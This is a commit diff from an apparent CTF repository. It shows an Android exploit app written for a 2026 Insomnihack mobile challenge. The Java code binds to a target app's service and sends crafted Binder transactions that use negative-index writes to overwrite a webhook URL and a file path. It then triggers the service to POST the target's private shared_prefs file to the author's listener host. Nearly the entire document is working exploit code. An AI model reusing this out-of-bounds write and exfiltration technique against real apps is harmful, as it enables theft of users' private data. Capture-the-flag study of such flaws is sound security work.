cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

finished writeup

Browse Source
This commit is contained in:
cato447
2026-03-23 03:57:28 +01:00
parent b3290386c6
commit 1be43b75e3
660 changed files with 4440 additions and 68115 deletions
Download Patch File Download Diff File Expand all files Collapse all files

36
2026/insomnihack/mobile/peaky_binders/ShelbyExploit/app/src/main/java/com/hacker/exploit/MainActivity.java
View File

@@ -15,15 +15,13 @@ public class MainActivity extends Activity {
private static final String TAG = "Exploit";
private IBinder peakyBinder;
private static final String WEBHOOK_URL = "http://listener.cato447.de";
private static final String TARGET_FILE = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private static final String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.d(TAG, "Connected to PeakyService!");
peakyBinder = service;
// Run exploit in a background thread so we don't freeze the UI
new Thread(() -> runExploit()).start();
}
@@ -37,7 +35,7 @@ public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.d(TAG, "Starting exploit app...");
Log.d(TAG, "Starting exploit app");
Intent intent = new Intent();
intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
@@ -45,37 +43,19 @@ public class MainActivity extends Activity {
private void runExploit() {
try {
Log.d(TAG, "Overwriting Webhook URL...");
// 1. Overwrite Webhook URL
String WEBHOOK = "http://listener.cato447.de";
for (int i = 0; i < WEBHOOK.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK.charAt(i)).getBytes());
Log.d(TAG, "Overwriting Webhook URL");
for (int i = 0; i < WEBHOOK_URL.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK_URL.charAt(i)).getBytes());
Thread.sleep(50);
}
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK.length())) + ":").getBytes());
// separatorChar defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK_URL.length())) + ":").getBytes());
// 2. Overwrite File Path
String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
for (int i = 0; i < TARGET.length(); i++) {
sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes());
Thread.sleep(50);
}
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
sendOnewayTransaction(("PARTIAL:" + (-(65 + TARGET.length())) + ":").getBytes());
// 3. Trigger Exfiltration
sendOnewayTransaction("FULL:0:X".getBytes());
// explicitly send a null byte
String fileNullPayload = "PARTIAL:" + -(65 + TARGET_FILE.length()) + ":\0";
sendOnewayTransaction(fileNullPayload.getBytes());
Log.d(TAG, "Triggering Exfiltration...");
// 3. Trigger the file read and HTTP POST
sendOnewayTransaction("FULL:0:X".getBytes());
Log.d(TAG, "Exploit sent! Check your webhook.");
} catch (Exception e) {
Log.e(TAG, "Exploit failed", e);
}
@@ -91,4 +71,4 @@ public class MainActivity extends Activity {
peakyBinder.transact(1, data, null, 1);
data.recycle();
}
}
}